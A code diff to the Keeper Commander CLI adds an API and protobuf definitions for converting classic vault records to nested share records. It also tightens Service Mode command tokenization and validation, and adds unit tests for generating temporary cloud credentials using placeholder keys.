-68,6 +68,10 @@ 'folder_move_v3', 'move_folder_v3', 'folder_record_move_v3', 'move_folder_record_v3', ], + 'conversion_api': [ + 'MAX_CONVERT_RECORDS', 'build_convert_records_request', + 'convert_records_v3', + ], 'acl_cache': [ 'warm_for_tree', 'warm_nsf_folder_share_cache', 'warm_nsf_record_share_cache', 'warm_classic_record_shares', 'clear_share_caches', 'ensure_share_caches', diff --git a/keepercommander/nested_share_folder/conversion_api.py b/keepercommander/nested_share_folder/conversion_api.py new file mode 100644 index 000000000..78e7d8e37 --- /dev/null +++ b/keepercommander/nested_share_folder/conversion_api.py @@ -0,0 +1,138 @@ +""" +Classic-to-Nested Share Record conversion API. + +The server performs the migration of Classic database rows to Nested Share +data rows. The client supplies the record key wrapped for the destination folder +and for the owner's key history. +""" + +from typing import Optional + +from .. import api, crypto, utils +from ..proto import keeperdrive_convert_pb2 + +from .common import get_folder_key, get_record_key, is_keeper_uid + +MAX_CONVERT_RECORDS = 100 +AES_KEY_LENGTH = 32 + + +def _validate_aes_key(key: bytes, key_name: str) -> None: + if not isinstance(key, bytes) or len(key) != AES_KEY_LENGTH: + raise ValueError(f"{key_name} must be a {AES_KEY_LENGTH}-byte key") + + +def _decode_uid(uid: str, field_name: str) -> bytes: + """Decode a canonical Keeper UID and enforce its 16-byte wire form.""" + if not isinstance(uid, str) or not is_keeper_uid(uid): + raise ValueError(f"{field_name} must be a valid Keeper UID") + decoded = utils.base64_url_decode(uid) + if len(decoded) != 16: + raise ValueError(f"{field_name} must decode to 16 bytes") + if utils.base64_url_encode(decoded) != uid: + raise ValueError(f"{field_name} must use canonical Keeper UID encoding") + return decoded + + +def _get_target_folder(params, folder_uid: Optional[str]): + """Return (UID bytes, unencrypted key) for a Nested Share Folder or root.""" + if not folder_uid: + # The protocol requires both wraps at Vault(root); there the folder key + # is the caller's data key, so encrypt independently for each purpose. + return b'', params.data_key + + nested_share_folders = getattr(params, 'nested_share_folders', {}) or {} + if folder_uid not in nested_share_folders: + raise ValueError(f"'{folder_uid}' is not a Nested Share Folder") + + folder_key = get_folder_key(params, folder_uid, raise_on_missing=True) + return _decode_uid(folder_uid, "folder_uid"), folder_key + + +def build_convert_records_request(params, record_uids, folder_uid=None): + """Build and locally validate a Classic-to-Nested Share request. + + ``folder_uid`` may be omitted/empty to target the caller's root folder. + Otherwise, it must be the UID of an existing Nested Share Folder. All + records in this helper call share one destination folder. + """ + if isinstance(record_uids, str): + record_uids = [record_uids] + else: + record_uids = list(record_uids or []) + + if not record_uids: + raise ValueError("Provide at least one Classic record to convert") + if len(record_uids) > MAX_CONVERT_RECORDS: + raise ValueError(f"Convert at most {MAX_CONVERT_RECORDS} records per request") + + data_key = getattr(params, 'data_key', None) + if not data_key: + raise ValueError("User data key is not available; run sync-down and log in again") + _validate_aes_key(data_key, "User data key") + + folder_uid_bytes, folder_key = _get_target_folder(params, folder_uid) + _validate_aes_key(folder_key, "Destination folder key") + rq = keeperdrive_convert_pb2.ConvertRecordRequest() + seen = set() + nested_share_records = getattr(params, 'nested_share_records', {}) or {} + record_cache = getattr(params, 'record_cache', {}) or {} + record_owner_cache = getattr(params, 'record_owner_cache', {}) or {} + + for record_uid in record_uids: + record_uid_bytes = _decode_uid(record_uid, "record_uid") + if record_uid_bytes in seen: + raise ValueError(f"Duplicate record UID in conversion request: {record_uid}") + seen.add(record_uid_bytes) + + record = record_cache.get(record_uid) + if record_uid in nested_share_records or ( + record is not None and record.get('source') == 'nested_share_folder'): + raise ValueError(f"Record {record_uid} is already a Nested Share Record") + if record_uid not in record_cache: + raise ValueError(f"Classic record {record_uid} was not found in the record cache") + + owner_info = record_owner_cache.get(record_uid) + # Missing ownership metadata is inconclusive; the endpoint remains authoritative. + if owner_info is not None and owner_info.owner is False: + raise ValueError(f"Record {record_uid} is not owned by the caller") + + record_key = get_record_key(params, record_uid, raise_on_missing=True) + _validate_aes_key(record_key, f"Record key for {record_uid}") + + item = rq.records.add() + item.record_uid = record_uid_bytes + item.folder_uid = folder_uid_bytes + item.record_key_encrypted_by_folder_key = crypto.encrypt_aes_v2( + record_key, folder_key) + item.record_key_encrypted_by_owner_key = crypto.encrypt_aes_v2( + record_key, data_key) + + return rq + + +def convert_records_v3(params, record_uids, folder_uid=None): + """Convert Classic records to Nested Share Records and return results. + + The endpoint returns a mixed result bag with no ordering guarantee, so + callers should associate each result with its UID. + """ + rq = build_convert_records_request(params, record_uids, folder_uid) + rs = api.communicate_rest( + params, rq, 'vault/records/v3/convert', + rs_type=keeperdrive_convert_pb2.ConvertRecordResponse) + if rs is None: + raise ValueError("No response received from the record conversion endpoint") + + results = [] + for result in rs.results: + try: + status = keeperdrive_convert_pb2.ConvertRecordStatus.Name(result.status) + except ValueError: + status = f"UNKNOWN_STATUS_{int(result.status)}" + results.append({ + 'record_uid': utils.base64_url_encode(result.record_uid), + 'status': status, + 'success': result.status == keeperdrive_convert_pb2.OK, + }) + return results diff --git a/keepercommander/nested_share_folder/folder_api.py b/keepercommander/nested_share_folder/folder_api.py index 2f513ba89..c49ad9c12 100644 --- a/keepercommander/nested_share_folder/folder_api.py +++ b/keepercommander/nested_share_folder/folder_api.py @@ -513,15 +513,6 @@ def _ensure_folder_direct_permissions(params, folder_uid): """ if not _folder_inherits_parent_permissions(params, folder_uid): return False - result = update_folder_v3(params, folder_uid, inherit_permissions=False) - if not result.get('success'): - raise ValueError( - result.get('message') - or 'Failed to disable parent permission inheritance on folder') - nsf_folders = getattr(params, 'nested_share_folders', {}) - if folder_uid in nsf_folders: - nsf_folders[folder_uid]['inherit_user_permissions'] = folder_pb2.BOOLEAN_FALSE - params.sync_data = True return True diff --git a/keepercommander/nested_share_folder/record_api.py b/keepercommander/nested_share_folder/record_api.py index 4f2227638..f59371173 100644 --- a/keepercommander/nested_share_folder/record_api.py +++ b/keepercommander/nested_share_folder/record_api.py @@ -430,6 +430,7 @@ def _parse_record_access_response(rs, result): 'access_type_uid': utils.base64_url_encode(d.accessTypeUid), 'owner': getattr(d, 'owner', False), 'inherited': bool(getattr(d, 'inherited', False)), + 'denied_access': bool(getattr(d, 'deniedAccess', False)), 'access_role_type': int(getattr(d, 'accessRoleType', 0) or 0), } for flag in ('can_view_title', 'can_edit', 'can_view', 'can_list_access', @@ -448,6 +449,19 @@ def _parse_record_access_response(rs, result): result['forbidden_records'].append(fuid) +def filter_record_accesses(accesses, show_inherited=False, show_denied=False): + """Filter record access rows for display. + + Inherited (folder-level) and denied-access rows are omitted by default; + pass ``show_inherited=True`` / ``show_denied=True`` to include them. + """ + return [ + a for a in accesses + if (show_inherited or not a.get('inherited')) + and (show_denied or not a.get('denied_access')) + ] + + def get_record_accesses_v3(params, record_uids): if not record_uids: raise ValueError("At least one record UID required") diff --git a/keepercommander/proto/keeperdrive_convert_pb2.py b/keepercommander/proto/keeperdrive_convert_pb2.py new file mode 100644 index 000000000..c32fecead --- /dev/null +++ b/keepercommander/proto/keeperdrive_convert_pb2.py @@ -0,0 +1,50 @@ +# -*- coding: utf-8 -*- +# Generated by the protocol buffer compiler. DO NOT EDIT! +# NO CHECKED-IN PROTOBUF GENCODE +# source: keeperdrive-convert.proto +# Protobuf Python Version: 5.29.0 +"""Generated protocol buffer code.""" +from google.protobuf import descriptor as _descriptor +from google.protobuf import descriptor_pool as _descriptor_pool +from google.protobuf import runtime_version as _runtime_version +from google.protobuf import symbol_database as _symbol_database +from google.protobuf.internal import builder as _builder +_runtime_version.ValidateProtobufRuntimeVersion( + _runtime_version.Domain.PUBLIC, + 5, + 29, + 0, + '', + 'keeperdrive-convert.proto' +) +# @@protoc_insertion_point(imports) + +_sym_db = _symbol_database.Default() + + +from google.api import annotations_pb2 as google_dot_api_dot_annotations__pb2 + + +DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x19keeperdrive-convert.proto\x12\rdrive.convert\x1a\x1cgoogle/api/annotations.proto\"E\n\x14\x43onvertRecordRequest\x12-\n\x07records\x18\x01 \x03(\x0b\x32\x1c.drive.convert.ConvertRecord\"\x8e\x01\n\rConvertRecord\x12\x12\n\nrecord_uid\x18\x01 \x01(\x0c\x12\x12\n\nfolder_uid\x18\x02 \x01(\x0c\x12*\n\"record_key_encrypted_by_folder_key\x18\x03 \x01(\x0c\x12)\n!record_key_encrypted_by_owner_key\x18\x04 \x01(\x0c\"L\n\x15\x43onvertRecordResponse\x12\x33\n\x07results\x18\x01 \x03(\x0b\x32\".drive.convert.ConvertRecordResult\"]\n\x13\x43onvertRecordResult\x12\x12\n\nrecord_uid\x18\x01 \x01(\x0c\x12\x32\n\x06status\x18\x02 \x01(\x0e\x32\".drive.convert.ConvertRecordStatus*\xbd\x04\n\x13\x43onvertRecordStatus\x12%\n!CONVERT_RECORD_STATUS_UNSPECIFIED\x10\x00\x12\x06\n\x02OK\x10\x01\x12\'\n#ENTERPRISE_NOT_KEEPER_DRIVE_ENABLED\x10\x02\x12\x14\n\x10NOT_RECORD_OWNER\x10\x03\x12\x14\n\x10RECORD_NOT_FOUND\x10\x04\x12\x1c\n\x18RECORD_ALREADY_CONVERTED\x10\x05\x12\x18\n\x14\x46OLDER_ACCESS_DENIED\x10\x06\x12\x16\n\x12INVALID_FOLDER_KEY\x10\x07\x12\x15\n\x11INVALID_OWNER_KEY\x10\x08\x12\x15\n\x11RECORD_NOT_LEGACY\x10\t\x12\x1b\n\x17TARGET_NOT_DRIVE_FOLDER\x10\n\x12\x1f\n\x1bRECORD_LINK_CHILD_NOT_OWNED\x10\x0b\x12 \n\x1cRECORD_LINK_PARENT_NOT_OWNED\x10\x0c\x12\x1f\n\x1bRECORD_LINK_RECORD_IN_TRASH\x10\r\x12\x12\n\x0eINTERNAL_ERROR\x10\x0e\x12\"\n\x1eRECORD_LINK_CHILD_NOT_INCLUDED\x10\x0f\x12%\n!RECORD_LINK_FILE_PROMOTION_FAILED\x10\x10\x12 \n\x1cRECORD_LINK_COMPONENT_FAILED\x10\x11\x12\"\n\x1eRECORD_VERSION_NOT_CONVERTIBLE\x10\x12\x32\xa3\x01\n\x14\x43onvertRecordService\x12\x8a\x01\n\x0e\x43onvertRecords\x12#.drive.convert.ConvertRecordRequest\x1a$.drive.convert.ConvertRecordResponse\"-\x82\xd3\xe4\x93\x02\'\"\"/api/rest/vault/records/v3/convert:\x01*B.\n*com.keepersecurity.proto.api.drive.convertP\x01\x62\x06proto3') + +_globals = globals() +_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals) +_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'keeperdrive_convert_pb2', _globals) +if not _descriptor._USE_C_DESCRIPTORS: + _globals['DESCRIPTOR']._loaded_options = None + _globals['DESCRIPTOR']._serialized_options = b'\n*com.keepersecurity.proto.api.drive.convertP\001' + _globals['_CONVERTRECORDSERVICE'].methods_by_name['ConvertRecords']._loaded_options = None + _globals['_CONVERTRECORDSERVICE'].methods_by_name['ConvertRecords']._serialized_options = b'\202\323\344\223\002\'\"\"/api/rest/vault/records/v3/convert:\001*' + _globals['_CONVERTRECORDSTATUS']._serialized_start=464 + _globals['_CONVERTRECORDSTATUS']._serialized_end=1037 + _globals['_CONVERTRECORDREQUEST']._serialized_start=74 + _globals['_CONVERTRECORDREQUEST']._serialized_end=143 + _globals['_CONVERTRECORD']._serialized_start=146 + _globals['_CONVERTRECORD']._serialized_end=288 + _globals['_CONVERTRECORDRESPONSE']._serialized_start=290 + _globals['_CONVERTRECORDRESPONSE']._serialized_end=366 + _globals['_CONVERTRECORDRESULT']._serialized_start=368 + _globals['_CONVERTRECORDRESULT']._serialized_end=461 + _globals['_CONVERTRECORDSERVICE']._serialized_start=1040 + _globals['_CONVERTRECORDSERVICE']._serialized_end=1203 +# @@protoc_insertion_point(module_scope) diff --git a/keepercommander/proto/keeperdrive_convert_pb2.pyi b/keepercommander/proto/keeperdrive_convert_pb2.pyi new file mode 100644 index 000000000..cb6e5507d --- /dev/null +++ b/keepercommander/proto/keeperdrive_convert_pb2.pyi @@ -0,0 +1,81 @@ +from google.api import annotations_pb2 as _annotations_pb2 +from google.protobuf.internal import containers as _containers +from google.protobuf.internal import enum_type_wrapper as _enum_type_wrapper +from google.protobuf import descriptor as _descriptor +from google.protobuf import message as _message +from typing import ClassVar as _ClassVar, Iterable as _Iterable, Mapping as _Mapping, Optional as _Optional, Union as _Union + +DESCRIPTOR: _descriptor.FileDescriptor + +class ConvertRecordStatus(int, metaclass=_enum_type_wrapper.EnumTypeWrapper): + __slots__ = () + CONVERT_RECORD_STATUS_UNSPECIFIED: _ClassVar[ConvertRecordStatus] + OK: _ClassVar[ConvertRecordStatus] + ENTERPRISE_NOT_KEEPER_DRIVE_ENABLED: _ClassVar[ConvertRecordStatus] + NOT_RECORD_OWNER: _ClassVar[ConvertRecordStatus] + RECORD_NOT_FOUND: _ClassVar[ConvertRecordStatus] + RECORD_ALREADY_CONVERTED: _ClassVar[ConvertRecordStatus] + FOLDER_ACCESS_DENIED: _ClassVar[ConvertRecordStatus] + INVALID_FOLDER_KEY: _ClassVar[ConvertRecordStatus] + INVALID_OWNER_KEY: _ClassVar[ConvertRecordStatus] + RECORD_NOT_LEGACY: _ClassVar[ConvertRecordStatus] + TARGET_NOT_DRIVE_FOLDER: _ClassVar[ConvertRecordStatus] + RECORD_LINK_CHILD_NOT_OWNED: _ClassVar[ConvertRecordStatus] + RECORD_LINK_PARENT_NOT_OWNED: _ClassVar[ConvertRecordStatus] + RECORD_LINK_RECORD_IN_TRASH: _ClassVar[ConvertRecordStatus] + INTERNAL_ERROR: _ClassVar[ConvertRecordStatus] + RECORD_LINK_CHILD_NOT_INCLUDED: _ClassVar[ConvertRecordStatus] + RECORD_LINK_FILE_PROMOTION_FAILED: _ClassVar[ConvertRecordStatus] + RECORD_LINK_COMPONENT_FAILED: _ClassVar[ConvertRecordStatus] + RECORD_VERSION_NOT_CONVERTIBLE: _ClassVar[ConvertRecordStatus] +CONVERT_RECORD_STATUS_UNSPECIFIED: ConvertRecordStatus +OK: ConvertRecordStatus +ENTERPRISE_NOT_KEEPER_DRIVE_ENABLED: ConvertRecordStatus +NOT_RECORD_OWNER: ConvertRecordStatus +RECORD_NOT_FOUND: ConvertRecordStatus +RECORD_ALREADY_CONVERTED: ConvertRecordStatus +FOLDER_ACCESS_DENIED: ConvertRecordStatus +INVALID_FOLDER_KEY: ConvertRecordStatus +INVALID_OWNER_KEY: ConvertRecordStatus +RECORD_NOT_LEGACY: ConvertRecordStatus +TARGET_NOT_DRIVE_FOLDER: ConvertRecordStatus +RECORD_LINK_CHILD_NOT_OWNED: ConvertRecordStatus +RECORD_LINK_PARENT_NOT_OWNED: ConvertRecordStatus +RECORD_LINK_RECORD_IN_TRASH: ConvertRecordStatus +INTERNAL_ERROR: ConvertRecordStatus +RECORD_LINK_CHILD_NOT_INCLUDED: ConvertRecordStatus +RECORD_LINK_FILE_PROMOTION_FAILED: ConvertRecordStatus +RECORD_LINK_COMPONENT_FAILED: ConvertRecordStatus +RECORD_VERSION_NOT_CONVERTIBLE: ConvertRecordStatus + +class ConvertRecordRequest(_message.Message): + __slots__ = ("records",) + RECORDS_FIELD_NUMBER: _ClassVar[int] + records: _containers.RepeatedCompositeFieldContainer[ConvertRecord] + def __init__(self, records: _Optional[_Iterable[_Union[ConvertRecord, _Mapping]]] = ...) -> None: ... + +class ConvertRecord(_message.Message): + __slots__ = ("record_uid", "folder_uid", "record_key_encrypted_by_folder_key", "record_key_encrypted_by_owner_key") + RECORD_UID_FIELD_NUMBER: _ClassVar[int] + FOLDER_UID_FIELD_NUMBER: _ClassVar[int] + RECORD_KEY_ENCRYPTED_BY_FOLDER_KEY_FIELD_NUMBER: _ClassVar[int] + RECORD_KEY_ENCRYPTED_BY_OWNER_KEY_FIELD_NUMBER: _ClassVar[int] + record_uid: bytes + folder_uid: bytes + record_key_encrypted_by_folder_key: bytes + record_key_encrypted_by_owner_key: bytes + def __init__(self, record_uid: _Optional[bytes] = ..., folder_uid: _Optional[bytes] = ..., record_key_encrypted_by_folder_key: _Optional[bytes] = ..., record_key_encrypted_by_owner_key: _Optional[bytes] = ...) -> None: ... + +class ConvertRecordResponse(_message.Message): + __slots__ = ("results",) + RESULTS_FIELD_NUMBER: _ClassVar[int] + results: _containers.RepeatedCompositeFieldContainer[ConvertRecordResult] + def __init__(self, results: _Optional[_Iterable[_Union[ConvertRecordResult, _Mapping]]] = ...) -> None: ... + +class ConvertRecordResult(_message.Message): + __slots__ = ("record_uid", "status") + RECORD_UID_FIELD_NUMBER: _ClassVar[int] + STATUS_FIELD_NUMBER: _ClassVar[int] + record_uid: bytes + status: ConvertRecordStatus + def __init__(self, record_uid: _Optional[bytes] = ..., status: _Optional[_Union[ConvertRecordStatus, str]] = ...) -> None: ... diff --git a/keepercommander/service/decorators/auth.py b/keepercommander/service/decorators/auth.py index 2d21da195..96af1b670 100644 --- a/keepercommander/service/decorators/auth.py +++ b/keepercommander/service/decorators/auth.py @@ -10,11 +10,13 @@ # import hmac +import html from functools import wraps from flask import request from datetime import datetime from ..util.str_util import split_to_list from ..util.config_reader import ConfigReader +from ..util.parse_keeper_response import ensure_record_add_json_format from ..decorators.logging import debug_decorator, logger from ...service.util.verified_command import Verifycommand @@ -85,7 +87,19 @@ def wrapper(*args, **kwargs): 'status': 'error', 'error': 'Command length exceeded' }, 400 - command = command_content.split(" ") + normalized_command = ensure_record_add_json_format(html.unescape(command_content)) + try: + command = Verifycommand.tokenize_service_command(normalized_command) + except ValueError: + return { + 'status': 'error', + 'error': 'Invalid command syntax' + }, 400 + if not command: + return { + 'status': 'error', + 'error': 'Command must not be empty' + }, 400 if not policy or not policy.strip(): return { 'status': 'error', @@ -129,5 +143,13 @@ def wrapper(*args, **kwargs): 'error': transform_folder_error }, 400 + nsf_convert_error = Verifycommand.validate_nsf_convert_command(command) + if nsf_convert_error: + logger.debug(f"Command validation failed: {command[0]} - {nsf_convert_error}") + return { + 'status': 'error', + 'error': nsf_convert_error + }, 400 + return fn(*args, **kwargs) return wrapper diff --git a/keepercommander/service/util/command_util.py b/keepercommander/service/util/command_util.py index ae2e2dade..e5f91c195 100644 --- a/keepercommander/service/util/command_util.py +++ b/keepercommander/service/util/command_util.py @@ -14,7 +14,6 @@ import sys import json import logging -import shlex from typing import Any, Tuple, Optional from .config_reader import ConfigReader from .exceptions import CommandExecutionError @@ -171,9 +170,9 @@ def execute(cls, command: str, temp_files: Optional[list] = None) -> Tuple[Any, command = ensure_record_add_json_format(html.unescape(command)) try: - command_tokens = shlex.split(command.replace('\\', '\\\\')) + command_tokens = Verifycommand.tokenize_service_command(command) except ValueError: - command_tokens = command.split() + return {"status": "error", "error": "Invalid command syntax"}, 400 # This request's own FILEDATA directory - the only paths Service # Mode will treat as safe, not the whole shared OS temp root. diff --git a/keepercommander/service/util/parse_keeper_response.py b/keepercommander/service/util/parse_keeper_response.py index 8a923dc59..a9c2c44c8 100644 --- a/keepercommander/service/util/parse_keeper_response.py +++ b/keepercommander/service/util/parse_keeper_response.py @@ -87,6 +87,9 @@ def _find_parser_method(command: str) -> str: for pattern, method_name in substring_patterns.items(): if pattern in command: return method_name + + if command.split(maxsplit=1)[:1] == ['nsf-convert']: + return '_parse_nsf_convert_command' # Check for exact command start matches exact_patterns = { @@ -138,6 +141,11 @@ def parse_response(command: str, response: Any, log_output: str = None) -> Dict[ # Find the appropriate parser method (used for both log and non-log paths) parser_method_name = KeeperResponseParser._find_parser_method(command) + if parser_method_name == '_parse_nsf_convert_command': + return KeeperResponseParser._parse_nsf_convert_command( + command, response_str, None if is_from_log else log_output + ) + # If from log output, use command-specific parser if available, else generic logging parser if is_from_log: return KeeperResponseParser._parse_logging_based_command(command, response_str) @@ -1226,6 +1234,56 @@ def _parse_logging_based_command(command: str, response_str: str) -> Dict[str, A else: # No output after cleaning - use existing empty response handler return KeeperResponseParser._handle_empty_response(command) + + @staticmethod + def _parse_nsf_convert_command( + command: str, response_str: str, log_output: Optional[str] = None + ) -> Dict[str, Any]: + """Treat the permanent-conversion notice as informational, not a command failure.""" + combined_response = response_str + if log_output: + cleaned_logs = KeeperResponseParser._clean_ansi_codes(log_output.strip()) + if cleaned_logs and cleaned_logs not in combined_response: + combined_response = '\n'.join(filter(None, (combined_response, cleaned_logs))) + + classification_response = re.sub( + r'(?im)^([ \t]*)warning:([ \t]*conversion is permanent)', + r'\1Notice:\2', + combined_response, + ) + lowered_response = classification_response.lower() + has_conversion_failure = any( + phrase in lowered_response + for phrase in ( + 'was not converted', + 'no conversion result was returned', + 'no conversion results were returned', + 'conversion result for classic record', + 'conversion endpoint returned', + ) + ) + has_conversion_success = 'converted to a nested share record' in lowered_response + if has_conversion_failure: + return { + 'status': 'partial_success' if has_conversion_success else 'warning', + 'status_code': 207 if has_conversion_success else 400, + 'command': command.split()[0] if command.split() else command, + 'message': KeeperResponseParser._format_multiline_message(combined_response), + 'data': None, + } + + result = KeeperResponseParser._parse_logging_based_command( + command, classification_response + ) + + if result.get('status') == 'success': + result['message'] = KeeperResponseParser._format_multiline_message(combined_response) + elif 'error' in result: + result['error'] = combined_response + elif 'message' in result: + result['message'] = KeeperResponseParser._format_multiline_message(combined_response) + + return result @staticmethod def _filter_login_messages(response_str: str) -> str: @@ -1285,4 +1343,4 @@ def parse_keeper_response(command: str, response: Any, log_output: str = None) - Returns: Dict[str, Any]: Structured JSON response """ - return KeeperResponseParser.parse_response(command, response, log_output) \ No newline at end of file + return KeeperResponseParser.parse_response(command, response, log_output) diff --git a/keepercommander/service/util/verified_command.py b/keepercommander/service/util/verified_command.py index bd5238d29..5fe9d9d0a 100644 --- a/keepercommander/service/util/verified_command.py +++ b/keepercommander/service/util/verified_command.py @@ -1,6 +1,7 @@ import contextlib import io import os +import shlex class Verifycommand: @@ -96,6 +97,7 @@ def validate_service_mode_restrictions(command_tokens, request_temp_dir=None): Verifycommand.validate_service_mode_double_dash, Verifycommand.validate_service_mode_env_var_expansion_command, Verifycommand.validate_service_mode_legacy_command, + Verifycommand.validate_nsf_convert_command, Verifycommand.validate_service_mode_pam_tunnel_command, Verifycommand.validate_service_mode_download_attachment_command, Verifycommand.validate_service_mode_upload_attachment_command, @@ -109,6 +111,24 @@ def validate_service_mode_restrictions(command_tokens, request_temp_dir=None): return error return None + @staticmethod + def tokenize_service_command(command): + """Tokenize a command using the executor's backslash handling.""" + return shlex.split(command.replace('\\', '\\\\')) + + @staticmethod + def validate_nsf_convert_command(command_tokens, request_temp_dir=None): + """Require explicit force acknowledgement for permanent conversion in Service Mode.""" + if not command_tokens or command_tokens[0].lower() != 'nsf-convert': + return None + + for token in command_tokens[1:]: + if token == '--': + break + if token in ('-f', '--force'): + return None + return 'nsf-convert requires -f/--force through Service Mode' + @staticmethod def _record_reference_candidates(tok): """tok itself, plus its value if tok is a --flag=value (or -f=value) option.""" diff --git a/tests/test_cyberark_pam_import.py b/tests/test_cyberark_pam_import.py index 1b4352b55..ea17651aa 100644 --- a/tests/test_cyberark_pam_import.py +++ b/tests/test_cyberark_pam_import.py @@ -3170,7 +3170,7 @@ def test_matching_record_in_different_folder_is_imported(self): from keepercommander.importer.imp_exp import prepare_record_add_or_update records_to_import, record_exists, _ = prepare_record_add_or_update( - False, False, self._params("other"), [self._record()], + False, False, self._params("other"), [self._record()], "cyberark", ) assert len(records_to_import) == 1 @@ -3181,7 +3181,7 @@ def test_matching_record_in_same_folder_is_skipped(self): from keepercommander.importer.imp_exp import prepare_record_add_or_update records_to_import, record_exists, _ = prepare_record_add_or_update( - False, False, self._params("target"), [self._record()], + False, False, self._params("target"), [self._record()], "cyberark", ) assert records_to_import == [] diff --git a/tests/test_pam_cloud_credentials.py b/tests/test_pam_cloud_credentials.py new file mode 100644 index 000000000..d8686cccc --- /dev/null +++ b/tests/test_pam_cloud_credentials.py @@ -0,0 +1,182 @@ +"""Tests for `pam cloud generate-credentials` (PAMCloudGenerateCredentialsCommand).""" + +import base64 +import io +import json +import unittest +from contextlib import redirect_stdout +from unittest.mock import MagicMock, patch + +from keepercommander import crypto, vault +from keepercommander.commands.pam_cloud.pam_cloud_credentials import ( + PAMCloudGenerateCredentialsCommand, +) +from keepercommander.error import CommandError + +MODULE = 'keepercommander.commands.pam_cloud.pam_cloud_credentials' + + +def _encrypt_for_sender(sender_public_key_b64, payload_dict): + """Mirror the gateway's side of the ECIES round trip for a fake response.""" + pub_bytes = base64.urlsafe_b64decode(sender_public_key_b64 + '==') + pub_key = crypto.load_ec_public_key(pub_bytes) + encrypted = crypto.encrypt_ec(json.dumps(payload_dict).encode('utf-8'), pub_key) + return base64.b64encode(encrypted).decode('ascii') + + +def _make_cloud_record(record_uid='res-uid-1', title='My AWS Resource'): + record = vault.TypedRecord() + record.record_uid = record_uid + record.type_name = 'pamCloudResource' + record.title = title + return record + + +def _grant_response(inputs, provider='aws'): + credential_record = { + 'record_type': 'pamUser', + 'title': 'Temporary AWS access token - alice@example.com', + 'fields': [ + {'type': 'login', 'value': 'alice@example.com'}, + {'type': 'password', 'value': ''}, + {'type': 'secret', 'label': 'privatePEMKey', + 'value': json.dumps({'accessKeyId': 'ASIAEXAMPLE', 'secretAccessKey': 'shh', + 'sessionToken': 'shh-too'})}, + {'type': 'text', 'label': 'Provider', 'value': provider}, + ], + 'notes': 'Short-lived AWS credentials. Do not share.', + } + encrypted_record = _encrypt_for_sender(inputs['senderPublicKey'], credential_record) + return { + 'success': True, + 'provider': provider, + 'expiration': '2026-10-01T12:00:00+00:00', + 'encrypted_record': encrypted_record, + 'encrypted_revocation': 'opaque-blob-commander-never-touches', + } + + +def _make_params(user='alice@example.com'): + params = MagicMock() + params.user = user + return params + + +class TestPAMCloudGenerateCredentials(unittest.TestCase): + + def setUp(self): + self.record = _make_cloud_record() + self.resolve_patcher = patch(f'{MODULE}.resolve_pam_record', return_value=self.record) + self.resolve_patcher.start() + self.addCleanup(self.resolve_patcher.stop) + + self.config_patcher = patch(f'{MODULE}._resolve_config_uid', return_value='cfg-uid-1') + self.config_patcher.start() + self.addCleanup(self.config_patcher.stop) + + self.cmd = PAMCloudGenerateCredentialsCommand() + + def test_get_parser(self): + parser = self.cmd.get_parser() + self.assertIsNotNone(parser) + self.assertEqual('pam cloud generate-credentials', parser.prog) + + def test_happy_path_masks_output_and_does_not_save_by_default(self): + params = _make_params() + + def dispatch(_params, gateway_action, **_kw): + self.assertEqual('rm-grant-temporary-access-token', gateway_action.action) + self.assertEqual('alice@example.com', gateway_action.inputs['username']) + self.assertEqual('res-uid-1', gateway_action.inputs['resourceUid']) + self.assertEqual('cfg-uid-1', gateway_action.inputs['configurationUid']) + return _grant_response(gateway_action.inputs) + + with patch(f'{MODULE}.dispatch_streamed_access_elevation_action', side_effect=dispatch), \ + patch(f'{MODULE}.create_record_in_folder') as mock_save: + buf = io.StringIO() + with redirect_stdout(buf): + self.cmd.execute(params, record='res-uid-1') + + output = buf.getvalue() + self.assertIn('**********', output) + self.assertNotIn('shh', output) + self.assertIn('Not saved', output) + mock_save.assert_not_called() + + def test_duration_seconds_forwarded(self): + params = _make_params() + captured = {} + + def dispatch(_params, gateway_action, **_kw): + captured['inputs'] = gateway_action.inputs + return _grant_response(gateway_action.inputs) + + with patch(f'{MODULE}.dispatch_streamed_access_elevation_action', side_effect=dispatch): + with redirect_stdout(io.StringIO()): + self.cmd.execute(params, record='res-uid-1', duration_seconds=7200) + + self.assertEqual(7200, captured['inputs']['durationSeconds']) + + def test_save_record_persists_pam_user_record(self): + params = _make_params() + + def dispatch(_params, gateway_action, **_kw): + return _grant_response(gateway_action.inputs) + + saved_records = [] + + def fake_create_record_in_folder(_params, record, _folder_uid, command=None): + record.record_uid = 'new-record-uid' + saved_records.append(record) + + with patch(f'{MODULE}.dispatch_streamed_access_elevation_action', side_effect=dispatch), \ + patch(f'{MODULE}.resolve_access_user_save_folder', return_value='folder-uid'), \ + patch(f'{MODULE}.create_record_in_folder', side_effect=fake_create_record_in_folder), \ + patch.object(type(params), 'sync_data', create=True): + buf = io.StringIO() + with redirect_stdout(buf): + self.cmd.execute(params, record='res-uid-1', save_record=True) + + self.assertEqual(1, len(saved_records)) + saved = saved_records[0] + self.assertEqual('pamUser', saved.type_name) + login_values = [f.get_default_value() for f in saved.fields if f.type == 'login'] + self.assertTrue(login_values) + self.assertIn('new-record-uid', buf.getvalue()) + + def test_gateway_failure_raises_command_error(self): + params = _make_params() + + with patch(f'{MODULE}.dispatch_streamed_access_elevation_action', + return_value={'success': False, 'error': 'No elevation group or role found.'}): + with self.assertRaises(CommandError): + self.cmd.execute(params, record='res-uid-1') + + def test_wrong_record_type_raises_command_error(self): + params = _make_params() + bad_record = _make_cloud_record() + bad_record.type_name = 'pamMachine' + self.resolve_patcher.stop() + with patch(f'{MODULE}.resolve_pam_record', return_value=bad_record): + with self.assertRaises(CommandError): + self.cmd.execute(params, record='res-uid-1') + self.resolve_patcher.start() + + def test_record_not_found_raises_command_error(self): + params = _make_params() + self.resolve_patcher.stop() + with patch(f'{MODULE}.resolve_pam_record', return_value=None): + with self.assertRaises(CommandError): + self.cmd.execute(params, record='does-not-exist') + self.resolve_patcher.start() + + def test_missing_encrypted_record_raises_command_error(self): + params = _make_params() + with patch(f'{MODULE}.dispatch_streamed_access_elevation_action', + return_value={'success': True, 'provider': 'aws'}): + with self.assertRaises(CommandError): + self.cmd.execute(params, record='res-uid-1') + + +if __name__ == '__main__': + unittest.main() diff --git a/unit-tests/service/test_auth_security.py b/unit-tests/service/test_auth_security.py index 9a8d3c567..02fcb80dc 100644 --- a/unit-tests/service/test_auth_security.py +++ b/unit-tests/service/test_auth_security.py @@ -99,9 +99,39 @@ def test_policy_check_denied_command(self, mock_read_config): 